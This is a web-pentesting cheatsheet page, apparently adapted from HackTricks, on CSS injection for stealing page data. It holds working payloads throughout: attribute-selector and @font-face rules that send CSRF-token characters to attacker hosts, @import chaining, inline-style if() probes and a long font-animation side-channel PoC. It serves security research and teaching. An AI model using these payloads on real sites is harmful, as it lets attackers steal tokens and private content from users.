daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

overview.md (40599B)


      1 ---
      2 title: "CSS Injection"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/xs-search/css-injection/README.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xs-search/css-injection/README.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: true
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # CSS Injection
     14 
     15 ## CSS Injection
     16 
     17 ### LESS Code Injection
     18 
     19 LESS expands ordinary CSS with variables, mixins, functions, and the `@import` directive. If attacker input is compiled as LESS, those features can generate selectors or force resource requests that provide CSS-injection and XS-Leak primitives. In particular, `@import (inline)` makes the compiler fetch a referenced resource and embed its contents in the resulting CSS.
     20 
     21 [Less Code Injection](/hacktricks/pentesting-web/xs-search/css-injection/less-code-injection)
     22 
     23 ### Attribute Selector
     24 
     25 CSS selectors are crafted to match values of an `input` element's `name` and `value` attributes. If the input element's value attribute starts with a specific character, a predefined external resource is loaded:<sup>[[1]](#references)[[3]](#references)[[4]](#references)</sup>
     26 
     27 ```css
     28 input[name="csrf"][value^="a"] {
     29   background-image: url(https://attacker.com/exfil/a);
     30 }
     31 input[name="csrf"][value^="b"] {
     32   background-image: url(https://attacker.com/exfil/b);
     33 }
     34 /* ... */
     35 input[name="csrf"][value^="9"] {
     36   background-image: url(https://attacker.com/exfil/9);
     37 }
     38 ```
     39 
     40 However, this approach faces a limitation when dealing with hidden input elements (`type="hidden"`) because hidden elements do not load backgrounds.
     41 
     42 #### Bypass for Hidden Elements
     43 
     44 To circumvent this limitation, you can target a subsequent sibling element using the `~` general sibling combinator. The CSS rule then applies to all siblings following the hidden input element, causing the background image to load:<sup>[[2]](#references)</sup>
     45 
     46 ```css
     47 input[name="csrf"][value^="csrF"] ~ * {
     48   background-image: url(https://attacker.com/exfil/csrF);
     49 }
     50 ```
     51 
     52 A practical example of exploiting this technique is detailed in the provided code snippet. You can view it [here](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).<sup>[[2]](#references)[[22]](#references)</sup>
     53 
     54 #### Prerequisites for CSS Injection
     55 
     56 For the CSS Injection technique to be effective, certain conditions must be met:
     57 
     58 1. **Payload Length**: The CSS injection vector must support sufficiently long payloads to accommodate the crafted selectors.
     59 2. **CSS Re-evaluation**: You should have the ability to frame the page, which is necessary to trigger the re-evaluation of CSS with newly generated payloads.
     60 3. **External Resources**: The technique assumes the ability to use externally hosted images. This might be restricted by the site's Content Security Policy (CSP).
     61 
     62 ### Blind Attribute Selector
     63 
     64 As [**explained in this post**](https://portswigger.net/research/blind-css-exfiltration), it's possible to combine the selectors **`:has`** and **`:not`** to identify content even from blind elements. This is very useful when you have no idea what is inside the web page loading the CSS injection.<sup>[[11]](#references)</sup>\
     65 It's also possible to use those selectors to extract information from several block of the same type like in:
     66 
     67 ```html
     68 <style>
     69   html:has(input[name^="m"]):not(input[name="mytoken"]) {
     70     background: url(/m);
     71   }
     72 </style>
     73 <input name="mytoken" value="1337" />
     74 <input name="myname" value="gareth" />
     75 ```
     76 
     77 Combining this with the following **@import** technique, it's possible to exfiltrate a lot of **info using CSS injection from blind pages with** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
     78 
     79 ### @import
     80 
     81 The previous technique has some drawbacks, check the prerequisites. You either need to be able to **send multiple links to the victim**, or you need to be able to **iframe the CSS injection vulnerable page**.
     82 
     83 However, there is another clever technique that uses **CSS `@import`** to improve the quality of the technique.
     84 
     85 This was first showed by [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) and it works like this:<sup>[[12]](#references)</sup>
     86 
     87 Instead of loading the same page once and again with tens of different payloads each time (like in the previous one), we are going to **load the page just once and just with an import to the attackers server** (this is the payload to send to the victim):
     88 
     89 ```css
     90 @import url("//attacker.com:5001/start?");
     91 ```
     92 
     93 1. The import is going to **receive some CSS script** from the attackers and the **browser will load it**.
     94 2. The first part of the CSS script the attacker will send is **another `@import` to the attackers server again.**
     95    1. The attackers server won't respond this request yet, as we want to leak some chars and then respond this import with the payload to leak the next ones.
     96 3. The second and bigger part of the payload is going to be an **attribute selector leakage payload**
     97    1. This will send to the attackers server the **first char of the secret and the last one**
     98 4. Once the attackers server has received the **first and last char of the secret**, it will **respond the import requested in the step 2**.
     99    1. The response is going to be exactly the same as the **steps 2, 3 and 4**, but this time it will try to **find the second char of the secret and then penultimate**.
    100 
    101 The attacker will f**ollow that loop until it manages to leak completely the secret**.
    102 
    103 You can find the original [**Pepe Vila's code to exploit this here**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) or you can find almost the [**same code but commented here**.](#css-injection)<sup>[[13]](#references)</sup>
    104 
    105 > [!TIP]
    106 > The script will try to discover 2 chars each time (from the beginning and from the end) because the attribute selector allows to do things like:
    107 >
    108 > ```css
    109 > /* value^= matches the beginning of the value */
    110 > input[value^="0"] {
    111 >  --s0: url(http://localhost:5001/leak?pre=0);
    112 > }
    113 >
    114 > /* value$=  to match the ending of the value*/
    115 > input[value$="f"] {
    116 >  --e0: url(http://localhost:5001/leak?post=f);
    117 > }
    118 > ```
    119 >
    120 > This allows the script to leak the secret faster.
    121 
    122 > [!WARNING]
    123 > Sometimes the script **doesn't detect correctly that the prefix + suffix discovered is already the complete flag** and it will continue forwards (in the prefix) and backwards (in the suffix) and at some point it will hang.\
    124 > No worries, just check the **output** because **you can see the flag there**.
    125 
    126 ### Inline-Style CSS Exfiltration (attr() + if() + image-set())
    127 
    128 This primitive enables exfiltration using only an element's inline style attribute, without selectors or external stylesheets. It relies on CSS custom properties, the attr() function to read same-element attributes, the new CSS if() conditionals for branching, and image-set() to trigger a network request that encodes the matched value.<sup>[[5]](#references)[[7]](#references)</sup>
    129 
    130 > [!WARNING]
    131 > Equality comparisons in if() require double quotes for string literals. Single quotes will not match.
    132 
    133 - Sink: control an element's style attribute and ensure the target attribute is on the same element (attr() reads only same-element attributes).
    134 - Read: copy the attribute into a CSS variable: `--val: attr(title)`.<sup>[[9]](#references)</sup>
    135 - Decide: select a URL using nested conditionals comparing the variable with string candidates: `--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))`.<sup>[[8]](#references)</sup>
    136 - Exfiltrate: apply `background: image-set(var(--steal))` (or any fetching property) to force a request to the chosen endpoint.<sup>[[10]](#references)</sup>
    137 
    138 Attempt (does not work; single quotes in comparison):
    139 
    140 ```html
    141 <div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>
    142 ```
    143 
    144 Working payload (double quotes required in the comparison):
    145 
    146 ```html
    147 <div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>
    148 ```
    149 
    150 Enumerating attribute values with nested conditionals:
    151 
    152 ```html
    153 <div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>
    154 ```
    155 
    156 Realistic demo (probing usernames):
    157 
    158 ```html
    159 <div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>
    160 ```
    161 
    162 Notes and limitations:
    163 
    164 - Works on Chromium-based browsers at the time of research; behavior may differ on other engines.
    165 - Best suited for finite/enumerable value spaces (IDs, flags, short usernames). Stealing arbitrary long strings without external stylesheets remains challenging.
    166 - Any CSS property that fetches a URL can be used to trigger the request (e.g., background/image-set, border-image, list-style, cursor, content).
    167 
    168 Automation: a Burp Custom Action can generate nested inline-style payloads to brute-force attribute values: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda<sup>[[6]](#references)</sup>
    169 
    170 ### Other selectors
    171 
    172 Other ways to access DOM parts with **CSS selectors**:
    173 
    174 - **`.class-to-search:nth-child(2)`**: This will search the second item with class "class-to-search" in the DOM.
    175 - **`:empty`** selector: Used for example in [**this writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**<sup>[[21]](#references)</sup>
    176 
    177   ```css
    178   [role^="img"][aria-label="1"]:empty {
    179     background-image: url("YOUR_SERVER_URL?1");
    180   }
    181   ```
    182 
    183 ### Error based XS-Search
    184 
    185 **Reference:** [CSS based Attack: Abusing unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234)<sup>[[14]](#references)[[15]](#references)</sup>
    186 
    187 The overall intention is to **use a custom font from a controlled endpoint** and ensure that **text (in this case, 'A') is displayed with this font only if the specified resource (`favicon.ico`) cannot be loaded**.<sup>[[14]](#references)[[15]](#references)</sup>
    188 
    189 ```html
    190 <!DOCTYPE html>
    191 <html>
    192   <head>
    193     <style>
    194       @font-face {
    195         font-family: poc;
    196         src: url(http://attacker.com/?leak);
    197         unicode-range: U+0041;
    198       }
    199 
    200       #poc0 {
    201         font-family: "poc";
    202       }
    203     </style>
    204   </head>
    205   <body>
    206     <object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
    207   </body>
    208 </html>
    209 ```
    210 
    211 1. **Custom Font Usage**:
    212 
    213    - A custom font is defined using the `@font-face` rule within a `<style>` tag in the `<head>` section.
    214    - The font is named `poc` and is fetched from an external endpoint (`http://attacker.com/?leak`).
    215    - The `unicode-range` property is set to `U+0041`, targeting the specific Unicode character 'A'.
    216 
    217 2. **Object Element with Fallback Text**:
    218    - An `<object>` element with `id="poc0"` is created in the `<body>` section. This element tries to load a resource from `http://192.168.0.1/favicon.ico`.
    219    - The `font-family` for this element is set to `'poc'`, as defined in the `<style>` section.
    220    - If the resource (`favicon.ico`) fails to load, the fallback content (the letter 'A') inside the `<object>` tag is displayed.
    221    - The fallback content ('A') will be rendered using the custom font `poc` if the external resource cannot be loaded.
    222 
    223 ### Styling Scroll-to-Text Fragment
    224 
    225 The **`:target`** pseudo-class is employed to select an element targeted by a **URL fragment**, as specified in the [CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo). It's crucial to understand that `::target-text` doesn't match any elements unless the text is explicitly targeted by the fragment.
    226 
    227 A security concern arises when attackers exploit the **Scroll-to-text** fragment feature, allowing them to confirm the presence of specific text on a webpage by loading a resource from their server through HTML injection.<sup>[[16]](#references)</sup> The method involves injecting a CSS rule like this:
    228 
    229 ```css
    230 :target::before {
    231   content: url(target.png);
    232 }
    233 ```
    234 
    235 In such scenarios, if the text "Administrator" is present on the page, the resource `target.png` gets requested from the server, indicating the text's presence. An instance of this attack can be executed through a specially crafted URL that embeds the injected CSS alongside a Scroll-to-text fragment:
    236 
    237 ```text
    238 http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
    239 ```
    240 
    241 Here, the attack manipulates HTML injection to transmit the CSS code, aiming at the specific text "Administrator" through the Scroll-to-text fragment (`#:~:text=Administrator`). If the text is found, the indicated resource is loaded, inadvertently signaling its presence to the attacker.
    242 
    243 For mitigation, the following points should be noted:
    244 
    245 1. **Constrained STTF Matching**: Scroll-to-text Fragment (STTF) is designed to match only words or sentences, thereby limiting its capability to leak arbitrary secrets or tokens.
    246 2. **Restriction to Top-level Browsing Contexts**: STTF operates solely in top-level browsing contexts and does not function within iframes, making any exploitation attempt more noticeable to the user.
    247 3. **Necessity of User Activation**: STTF requires a user-activation gesture to operate, meaning exploitations are feasible only through user-initiated navigations. This requirement considerably mitigates the risk of attacks being automated without user interaction. Nevertheless, the blog post's author points out specific conditions and bypasses (e.g., social engineering, interaction with prevalent browser extensions) that might ease the attack's automation.
    248 
    249 Awareness of these mechanisms and potential vulnerabilities is key for maintaining web security and safeguarding against such exploitative tactics.
    250 
    251 For more information check the original report: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)<sup>[[16]](#references)</sup>
    252 
    253 You can check an [**exploit using this technique for a CTF here**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
    254 
    255 ### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
    256 
    257 You can specify **external fonts for specific unicode values** that will only be **gathered if those unicode values are present** in the page. For example:
    258 
    259 ```html
    260 <style>
    261   @font-face {
    262     font-family: poc;
    263     src: url(http://attacker.example.com/?A); /* fetched */
    264     unicode-range: U+0041;
    265   }
    266   @font-face {
    267     font-family: poc;
    268     src: url(http://attacker.example.com/?B); /* fetched too */
    269     unicode-range: U+0042;
    270   }
    271   @font-face {
    272     font-family: poc;
    273     src: url(http://attacker.example.com/?C); /* not fetched */
    274     unicode-range: U+0043;
    275   }
    276   #sensitive-information {
    277     font-family: poc;
    278   }
    279 </style>
    280 
    281 <p id="sensitive-information">AB</p>
    282 htm
    283 ```
    284 
    285 When you access this page, Chrome and Firefox fetch "?A" and "?B" because text node of sensitive-information contains "A" and "B" characters. But Chrome and Firefox do not fetch "?C" because it does not contain "C". This means that we have been able to read "A" and "B".
    286 
    287 ### Text node exfiltration (I): ligatures <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
    288 
    289 **Reference:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)<sup>[[17]](#references)</sup>
    290 
    291 The technique described involves extracting text from a node by exploiting font ligatures and monitoring changes in width.<sup>[[17]](#references)</sup> The process involves several steps:
    292 
    293 1. **Creation of Custom Fonts**:
    294 
    295    - SVG fonts are crafted with glyphs having a `horiz-adv-x` attribute, which sets a large width for a glyph representing a two-character sequence.
    296    - Example SVG glyph: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, where "XY" denotes a two-character sequence.
    297    - These fonts are then converted to woff format using fontforge.
    298 
    299 2. **Detection of Width Changes**:
    300 
    301    - CSS is used to ensure that text does not wrap (`white-space: nowrap`) and to customize the scrollbar style.
    302    - The appearance of a horizontal scrollbar, styled distinctly, acts as an indicator (oracle) that a specific ligature, and hence a specific character sequence, is present in the text.
    303    - The CSS involved:
    304      ```css
    305      body {
    306        white-space: nowrap;
    307      }
    308      body::-webkit-scrollbar {
    309        background: blue;
    310      }
    311      body::-webkit-scrollbar:horizontal {
    312        background: url(http://attacker.com/?leak);
    313      }
    314      ```
    315 
    316 3. **Exploit Process**:
    317 
    318    - **Step 1**: Fonts are created for pairs of characters with substantial width.
    319    - **Step 2**: A scrollbar-based trick is employed to detect when the large width glyph (ligature for a character pair) is rendered, indicating the presence of the character sequence.
    320    - **Step 3**: Upon detecting a ligature, new glyphs representing three-character sequences are generated, incorporating the detected pair and adding a preceding or succeeding character.
    321    - **Step 4**: Detection of the three-character ligature is carried out.
    322    - **Step 5**: The process repeats, progressively revealing the entire text.
    323 
    324 4. **Optimization**:
    325    - The current initialization method using `<meta refresh=...` is not optimal.
    326    - A more efficient approach could involve the CSS `@import` trick, enhancing the exploit's performance.
    327 
    328 ### Text node exfiltration (II): leaking the charset with a default font (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
    329 
    330 **Reference:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)<sup>[[18]](#references)</sup>
    331 
    332 This trick was released in this [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/). The charset used in a text node can be leaked **using the default fonts** installed in the browser: no external -or custom- fonts are needed.<sup>[[18]](#references)[[19]](#references)</sup>
    333 
    334 The concept revolves around utilizing an animation to incrementally expand a `div`'s width, allowing one character at a time to transition from the 'suffix' part of the text to the 'prefix' part. This process effectively splits the text into two sections:
    335 
    336 1. **Prefix**: The initial line.
    337 2. **Suffix**: The subsequent line(s).
    338 
    339 The transition stages of the characters would appear as follows:
    340 
    341 **C**\
    342 ADB
    343 
    344 **CA**\
    345 DB
    346 
    347 **CAD**\
    348 B
    349 
    350 **CADB**
    351 
    352 During this transition, the **unicode-range trick** is employed to identify each new character as it joins the prefix. This is achieved by switching the font to Comic Sans, which is notably taller than the default font, consequently triggering a vertical scrollbar. This scrollbar's appearance indirectly reveals the presence of a new character in the prefix.
    353 
    354 Although this method allows the detection of unique characters as they appear, it does not specify which character is repeated, only that a repetition has occurred.
    355 
    356 > [!TIP]
    357 > Basically, the **unicode-range is used to detect a char**, but as we don't want to load an external font, we need to find another way.\
    358 > When the **char** is **found**, it's **given** the pre-installed **Comic Sans font**, which **makes** the char **bigger** and **triggers a scroll bar** which will **leak the found char**.
    359 
    360 Check the code extracted from the PoC:
    361 
    362 ```css
    363 /* comic sans is high (lol) and causes a vertical overflow */
    364 @font-face {
    365   font-family: has_A;
    366   src: local("Comic Sans MS");
    367   unicode-range: U+41;
    368   font-style: monospace;
    369 }
    370 @font-face {
    371   font-family: has_B;
    372   src: local("Comic Sans MS");
    373   unicode-range: U+42;
    374   font-style: monospace;
    375 }
    376 @font-face {
    377   font-family: has_C;
    378   src: local("Comic Sans MS");
    379   unicode-range: U+43;
    380   font-style: monospace;
    381 }
    382 @font-face {
    383   font-family: has_D;
    384   src: local("Comic Sans MS");
    385   unicode-range: U+44;
    386   font-style: monospace;
    387 }
    388 @font-face {
    389   font-family: has_E;
    390   src: local("Comic Sans MS");
    391   unicode-range: U+45;
    392   font-style: monospace;
    393 }
    394 @font-face {
    395   font-family: has_F;
    396   src: local("Comic Sans MS");
    397   unicode-range: U+46;
    398   font-style: monospace;
    399 }
    400 @font-face {
    401   font-family: has_G;
    402   src: local("Comic Sans MS");
    403   unicode-range: U+47;
    404   font-style: monospace;
    405 }
    406 @font-face {
    407   font-family: has_H;
    408   src: local("Comic Sans MS");
    409   unicode-range: U+48;
    410   font-style: monospace;
    411 }
    412 @font-face {
    413   font-family: has_I;
    414   src: local("Comic Sans MS");
    415   unicode-range: U+49;
    416   font-style: monospace;
    417 }
    418 @font-face {
    419   font-family: has_J;
    420   src: local("Comic Sans MS");
    421   unicode-range: U+4a;
    422   font-style: monospace;
    423 }
    424 @font-face {
    425   font-family: has_K;
    426   src: local("Comic Sans MS");
    427   unicode-range: U+4b;
    428   font-style: monospace;
    429 }
    430 @font-face {
    431   font-family: has_L;
    432   src: local("Comic Sans MS");
    433   unicode-range: U+4c;
    434   font-style: monospace;
    435 }
    436 @font-face {
    437   font-family: has_M;
    438   src: local("Comic Sans MS");
    439   unicode-range: U+4d;
    440   font-style: monospace;
    441 }
    442 @font-face {
    443   font-family: has_N;
    444   src: local("Comic Sans MS");
    445   unicode-range: U+4e;
    446   font-style: monospace;
    447 }
    448 @font-face {
    449   font-family: has_O;
    450   src: local("Comic Sans MS");
    451   unicode-range: U+4f;
    452   font-style: monospace;
    453 }
    454 @font-face {
    455   font-family: has_P;
    456   src: local("Comic Sans MS");
    457   unicode-range: U+50;
    458   font-style: monospace;
    459 }
    460 @font-face {
    461   font-family: has_Q;
    462   src: local("Comic Sans MS");
    463   unicode-range: U+51;
    464   font-style: monospace;
    465 }
    466 @font-face {
    467   font-family: has_R;
    468   src: local("Comic Sans MS");
    469   unicode-range: U+52;
    470   font-style: monospace;
    471 }
    472 @font-face {
    473   font-family: has_S;
    474   src: local("Comic Sans MS");
    475   unicode-range: U+53;
    476   font-style: monospace;
    477 }
    478 @font-face {
    479   font-family: has_T;
    480   src: local("Comic Sans MS");
    481   unicode-range: U+54;
    482   font-style: monospace;
    483 }
    484 @font-face {
    485   font-family: has_U;
    486   src: local("Comic Sans MS");
    487   unicode-range: U+55;
    488   font-style: monospace;
    489 }
    490 @font-face {
    491   font-family: has_V;
    492   src: local("Comic Sans MS");
    493   unicode-range: U+56;
    494   font-style: monospace;
    495 }
    496 @font-face {
    497   font-family: has_W;
    498   src: local("Comic Sans MS");
    499   unicode-range: U+57;
    500   font-style: monospace;
    501 }
    502 @font-face {
    503   font-family: has_X;
    504   src: local("Comic Sans MS");
    505   unicode-range: U+58;
    506   font-style: monospace;
    507 }
    508 @font-face {
    509   font-family: has_Y;
    510   src: local("Comic Sans MS");
    511   unicode-range: U+59;
    512   font-style: monospace;
    513 }
    514 @font-face {
    515   font-family: has_Z;
    516   src: local("Comic Sans MS");
    517   unicode-range: U+5a;
    518   font-style: monospace;
    519 }
    520 @font-face {
    521   font-family: has_0;
    522   src: local("Comic Sans MS");
    523   unicode-range: U+30;
    524   font-style: monospace;
    525 }
    526 @font-face {
    527   font-family: has_1;
    528   src: local("Comic Sans MS");
    529   unicode-range: U+31;
    530   font-style: monospace;
    531 }
    532 @font-face {
    533   font-family: has_2;
    534   src: local("Comic Sans MS");
    535   unicode-range: U+32;
    536   font-style: monospace;
    537 }
    538 @font-face {
    539   font-family: has_3;
    540   src: local("Comic Sans MS");
    541   unicode-range: U+33;
    542   font-style: monospace;
    543 }
    544 @font-face {
    545   font-family: has_4;
    546   src: local("Comic Sans MS");
    547   unicode-range: U+34;
    548   font-style: monospace;
    549 }
    550 @font-face {
    551   font-family: has_5;
    552   src: local("Comic Sans MS");
    553   unicode-range: U+35;
    554   font-style: monospace;
    555 }
    556 @font-face {
    557   font-family: has_6;
    558   src: local("Comic Sans MS");
    559   unicode-range: U+36;
    560   font-style: monospace;
    561 }
    562 @font-face {
    563   font-family: has_7;
    564   src: local("Comic Sans MS");
    565   unicode-range: U+37;
    566   font-style: monospace;
    567 }
    568 @font-face {
    569   font-family: has_8;
    570   src: local("Comic Sans MS");
    571   unicode-range: U+38;
    572   font-style: monospace;
    573 }
    574 @font-face {
    575   font-family: has_9;
    576   src: local("Comic Sans MS");
    577   unicode-range: U+39;
    578   font-style: monospace;
    579 }
    580 @font-face {
    581   font-family: rest;
    582   src: local("Courier New");
    583   font-style: monospace;
    584   unicode-range: U+0-10FFFF;
    585 }
    586 
    587 div.leak {
    588   overflow-y: auto; /* leak channel */
    589   overflow-x: hidden; /* remove false positives */
    590   height: 40px; /* comic sans capitals exceed this height */
    591   font-size: 0px; /* make suffix invisible */
    592   letter-spacing: 0px; /* separation */
    593   word-break: break-all; /* small width split words in lines */
    594   font-family: rest; /* default */
    595   background: grey; /* default */
    596   width: 0px; /* initial value */
    597   animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
    598   animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
    599 }
    600 
    601 div.leak::first-line {
    602   font-size: 30px; /* prefix is visible in first line */
    603   text-transform: uppercase; /* only capital letters leak */
    604 }
    605 
    606 /* iterate over all chars */
    607 @keyframes trychar {
    608   0% {
    609     font-family: rest;
    610   } /* delay for width change */
    611   5% {
    612     font-family: has_A, rest;
    613     --leak: url(?a);
    614   }
    615   6% {
    616     font-family: rest;
    617   }
    618   10% {
    619     font-family: has_B, rest;
    620     --leak: url(?b);
    621   }
    622   11% {
    623     font-family: rest;
    624   }
    625   15% {
    626     font-family: has_C, rest;
    627     --leak: url(?c);
    628   }
    629   16% {
    630     font-family: rest;
    631   }
    632   20% {
    633     font-family: has_D, rest;
    634     --leak: url(?d);
    635   }
    636   21% {
    637     font-family: rest;
    638   }
    639   25% {
    640     font-family: has_E, rest;
    641     --leak: url(?e);
    642   }
    643   26% {
    644     font-family: rest;
    645   }
    646   30% {
    647     font-family: has_F, rest;
    648     --leak: url(?f);
    649   }
    650   31% {
    651     font-family: rest;
    652   }
    653   35% {
    654     font-family: has_G, rest;
    655     --leak: url(?g);
    656   }
    657   36% {
    658     font-family: rest;
    659   }
    660   40% {
    661     font-family: has_H, rest;
    662     --leak: url(?h);
    663   }
    664   41% {
    665     font-family: rest;
    666   }
    667   45% {
    668     font-family: has_I, rest;
    669     --leak: url(?i);
    670   }
    671   46% {
    672     font-family: rest;
    673   }
    674   50% {
    675     font-family: has_J, rest;
    676     --leak: url(?j);
    677   }
    678   51% {
    679     font-family: rest;
    680   }
    681   55% {
    682     font-family: has_K, rest;
    683     --leak: url(?k);
    684   }
    685   56% {
    686     font-family: rest;
    687   }
    688   60% {
    689     font-family: has_L, rest;
    690     --leak: url(?l);
    691   }
    692   61% {
    693     font-family: rest;
    694   }
    695   65% {
    696     font-family: has_M, rest;
    697     --leak: url(?m);
    698   }
    699   66% {
    700     font-family: rest;
    701   }
    702   70% {
    703     font-family: has_N, rest;
    704     --leak: url(?n);
    705   }
    706   71% {
    707     font-family: rest;
    708   }
    709   75% {
    710     font-family: has_O, rest;
    711     --leak: url(?o);
    712   }
    713   76% {
    714     font-family: rest;
    715   }
    716   80% {
    717     font-family: has_P, rest;
    718     --leak: url(?p);
    719   }
    720   81% {
    721     font-family: rest;
    722   }
    723   85% {
    724     font-family: has_Q, rest;
    725     --leak: url(?q);
    726   }
    727   86% {
    728     font-family: rest;
    729   }
    730   90% {
    731     font-family: has_R, rest;
    732     --leak: url(?r);
    733   }
    734   91% {
    735     font-family: rest;
    736   }
    737   95% {
    738     font-family: has_S, rest;
    739     --leak: url(?s);
    740   }
    741   96% {
    742     font-family: rest;
    743   }
    744 }
    745 
    746 /* increase width char by char, i.e. add new char to prefix */
    747 @keyframes loop {
    748   0% {
    749     width: 0px;
    750   }
    751   1% {
    752     width: 20px;
    753   }
    754   2% {
    755     width: 40px;
    756   }
    757   3% {
    758     width: 60px;
    759   }
    760   4% {
    761     width: 80px;
    762   }
    763   4% {
    764     width: 100px;
    765   }
    766   5% {
    767     width: 120px;
    768   }
    769   6% {
    770     width: 140px;
    771   }
    772   7% {
    773     width: 0px;
    774   }
    775 }
    776 
    777 div::-webkit-scrollbar {
    778   background: blue;
    779 }
    780 
    781 /* side-channel */
    782 div::-webkit-scrollbar:vertical {
    783   background: blue var(--leak);
    784 }
    785 ```
    786 
    787 ### Text node exfiltration (III): leaking the charset with a default font by hiding elements (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
    788 
    789 **Reference:** The writeup discusses this element-hiding idea as an unsuccessful attempted solution.<sup>[[20]](#references)</sup>
    790 
    791 This case is very similar to the previous one, however, in this case the goal of making specific **chars bigger than other is to hide something** like a button to not be pressed by the bot or a image that won't be loaded. So we could measure the action (or lack of the action) and know if a specific char is present inside the text.<sup>[[20]](#references)</sup>
    792 
    793 ### Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
    794 
    795 **Reference:** The same writeup evaluates this same-origin cache-timing variant as an unsuccessful attempt.<sup>[[20]](#references)</sup>
    796 
    797 In this case, we could try to leak if a char is in the text by loading a fake font from the same origin:<sup>[[20]](#references)</sup>
    798 
    799 ```css
    800 @font-face {
    801   font-family: "A1";
    802   src: url(/static/bootstrap.min.css?q=1);
    803   unicode-range: U+0041;
    804 }
    805 ```
    806 
    807 If there is a match, the **font will be loaded from `/static/bootstrap.min.css?q=1`**. Although it won’t load successfully, the **browser should cache it**, and even if there is no cache, there is a **304 not modified** mechanism, so the **response should be faster** than other things.
    808 
    809 However, if the time difference of the cached response from the non-cached one isn't big enough, this won't be useful. For example, the author mentioned: However, after testing, I found that the first problem is that the speed is not much different, and the second problem is that the bot uses the `disk-cache-size=1` flag, which is really thoughtful.
    810 
    811 ### Text node exfiltration (III): leaking the charset by timing loading hundreds of local "fonts" (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
    812 
    813 **Reference:** Its final unsuccessful attempted variant amplifies timing differences by declaring hundreds of local font sources.<sup>[[20]](#references)</sup>
    814 
    815 In this case you can indicate **CSS to load hundreds of fake fonts** from the same origin when a match occurs. This way you can **measure the time** it takes and find out if a char appears or not with something like:<sup>[[20]](#references)</sup>
    816 
    817 ```css
    818 @font-face {
    819   font-family: "A1";
    820   src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2),
    821     .... url(/static/bootstrap.min.css?q=500);
    822   unicode-range: U+0041;
    823 }
    824 ```
    825 
    826 And the bot’s code looks like this:
    827 
    828 ```python
    829 browser.get(url)
    830 WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
    831 time.sleep(30)
    832 ```
    833 
    834 So, if the font does not match, the response time when visiting the bot is expected to be approximately 30 seconds. However, if there is a font match, multiple requests will be sent to retrieve the font, causing the network to have continuous activity. As a result, it will take longer to satisfy the stop condition and receive the response. Therefore, the response time can be used as an indicator to determine if there is a font match.
    835 
    836 
